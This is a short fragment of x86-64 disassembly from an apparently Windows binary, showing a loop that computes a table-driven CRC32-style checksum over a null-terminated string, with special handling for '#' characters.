mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140049bcf
lea rbx, [0x14013b3f0]
cmp r8b, 0x23
jne 0x140049bb3
cmp byte [r9], r8b
jne 0x140049bb3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140049ba0
mov rbx, qword [rsp + 8]
not eax
ret